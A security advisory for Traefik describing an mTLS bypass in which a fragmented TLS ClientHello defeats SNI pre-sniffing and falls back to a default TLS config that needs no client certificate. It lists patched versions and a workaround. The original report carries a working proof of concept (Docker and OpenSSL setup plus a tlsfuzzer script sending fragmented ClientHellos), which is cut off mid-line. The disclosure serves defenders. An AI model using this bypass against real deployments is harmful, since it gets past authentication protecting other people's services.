Authentication mechanism absence or evasion In github.com/traefik/traefik
Description
Traefik has a Potential mTLS Bypass via Fragmented TLS ClientHello Causing Pre-SNI Sniff Fallback to Default Non-mTLS TLS Config ## Summary There is a potential vulnerability in Traefik's TLS SNI pre-sniffing logic related to fragmented ClientHello packets. When a TLS ClientHello is fragmented across multiple records, Traefik's SNI extraction may fail with an EOF and return an empty SNI. The TCP router then falls back to the default TLS configuration, which does not require client certificates by default. This allows an attacker to bypass route-level mTLS enforcement and access services that should require mutual TLS authentication. ## Patches - https://github.com/traefik/traefik/releases/tag/v2.11.41 - https://github.com/traefik/traefik/releases/tag/v3.6.11 - https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2 ## For more information If you have any questions or comments about this advisory, please open an issue.
Original Description
### Summary I found a behavior in Traefik's latest version where fragmented ClientHello packets can cause pre-sniff SNI extraction to not find the sni (EOF during sniff), which makes the TCP router fall back to default routing TLS config. If the default TLS config does not require client certificates (which is NoClientCert by default), the handshake succeeds without client auth, and the request is later routed to the HTTP Host which should be the protected with client certificate authentication (RequireAndVerifyClientCert tls config). ### Details The vulnerability is caused by a mismatch between where Traefik decides the TLS policy per host and where Go TLS can finally parse the full ClientHello. 1. In router.go, ServeTCP function calls clientHelloInfo. 2. clientHelloInfo peeks only one TLS record length (recLen) and then peeks exactly 5 + recLen bytes. It runs a temporary TLS parse on those bytes to extract the SNI. If ClientHello is fragmented, pre-sniff may return empty SNI (With fragmentation, first record can be incomplete for full ClientHello parsing). 4. clientHelloInfo still returns isTLS=true and empty SNI (it thinks there is no sni so it applies the default tls config (Which is by default NoClientCert which is permissive) 5. Real Go TLS handshake succeeds later without requiring the client cert. 6. Request is routed to the host that should have been protected. Conditions required for impact: - Route-level TLS options enforce mTLS for a host. - Default TLS config is weaker (noClientCert, which is the default default). - Pre-sniff fails to extract SNI (due to fragmented ClientHello). A workaround for this is to set the default tls config to RequireAndVerifyClientCert (but then you need to explicitly define for each permissive host the NoClientCert TLS config). A suggestion to fix is to parse the complete ClientHello before tls config decision (handle multi-record fragmentation). ### PoC ```python # prerequisites (ubuntu/debian, in rhel/fedora you need to run only the install command (dnf) but with "docker" instead of docker.io and podman will emulate it) sudo apt update sudo apt install -y docker.io openssl git python3 python3-venv sudo usermod -aG docker "$USER" # in debian/ubuntu run newgrp docker to apply the new group to the user mkdir -p /tmp/traefik-frag-poc/{certs,config/dynamic} cd /tmp/traefik-frag-poc # CA openssl genrsa -out certs/ca.key 4096 openssl req -x509 -new -nodes -key certs/ca.key -sha256 -days 3650 \ -subj "/CN=PoC-CA" -out certs/ca.crt # Server cert (whoami.home.arpa) cat > certs/server.cnf <<'EOF_SERVER_CNF' [req] distinguished_name = dn req_extensions = v3_req prompt = no [dn] CN = whoami.home.arpa [v3_req] subjectAltName = @alt_names [alt_names] DNS.1 = whoami.home.arpa EOF_SERVER_CNF openssl genrsa -out certs/traefik.key 2048 openssl req -new -key certs/traefik.key -out certs/traefik.csr -config certs/server.cnf openssl x509 -req -in certs/traefik.csr -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial \ -out certs/traefik.crt -days 365 -sha256 -extensions v3_req -extfile certs/server.cnf # Client cert (valid client) openssl genrsa -out certs/client.key 2048 openssl req -new -key certs/client.key -subj "/CN=client1" -out certs/client.csr openssl x509 -req -in certs/client.csr -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial \ -out certs/client.crt -days 365 -sha256 cat > config/traefik.yml <<'EOF_TRAEFIK_CFG' entryPoints: websecure: address: ":8443" providers: file: directory: /etc/traefik/dynamic watch: true log: level: DEBUG EOF_TRAEFIK_CFG cat > config/dynamic/dynamic.yml <<'EOF_DYNAMIC_CFG' http: routers: whoami: rule: "Host(whoami.home.arpa)" entryPoints: - websecure service: whoami tls: options: mtls services: whoami: loadBalancer: servers: - url: "http://whoami:80" tls: certificates: - certFile: /certs/traefik.crt keyFile: /certs/traefik.key options: mtls: clientAuth: caFiles: - /certs/ca.crt clientAuthType: RequireAndVerifyClientCert EOF_DYNAMIC_CFG docker network create traefik-poc # run a whoami microservice for the bypass demonstration docker run -d \ --name whoami \ --network traefik-poc \ --restart unless-stopped \ traefik/whoami:v1.11.0 docker run -d \ --name traefik \ --network traefik-poc \ -p 8443:8443 \ --restart unless-stopped \ -v "$PWD/config/traefik.yml:/etc/traefik/traefik.yml:ro,Z" \ -v "$PWD/config/dynamic:/etc/traefik/dynamic:ro,Z" \ -v "$PWD/certs:/certs:ro,Z" \ traefik:3.6.10 \ --configFile=/etc/traefik/traefik.yml # watch traefik logs to ensure everything was deployed correctly docker logs traefik # tlsfuzzer setup + frag client script mkdir -p /tmp/testtlsfuzz cd /tmp/testtlsfuzz git clone https://github.com/tlsfuzzer/tlsfuzzer.git cd tlsfuzzer python3 -m venv .venv source .venv/bin/activate pip install -r requirements.txt cat > frag_clienthello.py <<'EOF_FRAG_SCRIPT' import argparse import sys import os from tlsfuzzer.runner import Runner from tlsfuzzer.messages import ( Connect, SetMaxRecordSize, ClientHelloGenerator, CertificateGenerator, CertificateVerifyGenerator, ClientKeyExchangeGenerator, ChangeCipherSpecGenerator, FinishedGenerator, ApplicationDataGenerator, AlertGenerator, ) from tlsfuzzer.expect import ( ExpectServerHello, ExpectCertificate, ExpectServerKeyExchange, ExpectCertificateRequest, ExpectServerHelloDone, ExpectChangeCipherSpec, ExpectFinished, ExpectApplicationData, ExpectAlert, ExpectClose, ) from tlsfuzzer.helpers import SIG_ALL from tlslite.constants import ( CipherSuite, ExtensionType, AlertLevel, AlertDescription, GroupName, ) from tlslite.extensions import ( SNIExtension, TLSExtension, SupportedGroupsExtension, SignatureAlgorithmsExtension, SignatureAlgorithmsCertExtension, ) from tlslite.utils.keyfactory import parsePEMKey from tlslite.x509 import X509 from tlslite.x509certchain import X509CertChain class PrettyExpectApplicationData(ExpectApplicationData): def process(self, state, msg): super().process(state, msg) text = msg.write().decode("utf-8", errors="replace") head, _, body = text.partition("\r\n\r\n") print("\n=== HTTP RESPONSE ===") print(head) print() print(body) print("=== END HTTP RESPONSE ===\n") def load_client_cert_and_key(cert_path, key_path): cert = None key = None if cert_path: text_cert = open(cert_path, "rb").read() if sys.version_info[0] >= 3: text_cert = str(text_cert, "utf-8") cert = X509() cert.parse(text_cert) if key_path: text_key = open(key_path, "rb").read() if sys.version_info[0] >= 3: text_key = str(text_key, "utf-8") key = parsePEMKey(text_key, private=True) return cert, key def main(): p = argparse.ArgumentParser() p.add_argument("--connect-host", default="127.0.0.1") p.add_argument("--port", type=int, default=8443) p.add_argument("--sni", default="whoami.home.arpa") p.add_argument("--record-size", type=int, default=512) p.add_argument("--padding-len", type=int, default=1200) p.add_argument("--expect-cert-request", action="store_true") p.add_argument("--client-cert-pem", default="") p.add_argument("--client-key-pem", default="") args = p.parse_args() cert, key = load_client_cert_and_key(args.client_cert_pem, args.client_key_pem) print(f"[DBG] cert_arg={args.client_cert_pem!r} key_arg={args.client_key_pem!r}") for p in [args.client_cert_pem, args.client_key_pem]: if p: print(f"[DBG] file={p} exists={os.path.exists(p)} size={os.path.getsize(p) if os.path.exists(p) else -1}") print(f"[DBG] cert_loaded={cert is not None} key_loaded={key is not None}") print(f"[DBG] bool(cert)={bool(cert) if cert is not None else None} bool(key)={bool(key) if key is not None else None}") if (args.client_cert_pem orMitigation
Update Impact
Minimal update. May introduce new vulnerabilities or breaking changes.
Ecosystem | Component | Affected version | Patched versions |
|---|---|---|---|
 go | 2.11.41 | ||
go | 2.0.0-alpha1+incompatible | ||
go | 3.7.0-ea.2, 3.6.11 |
Aliases
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References
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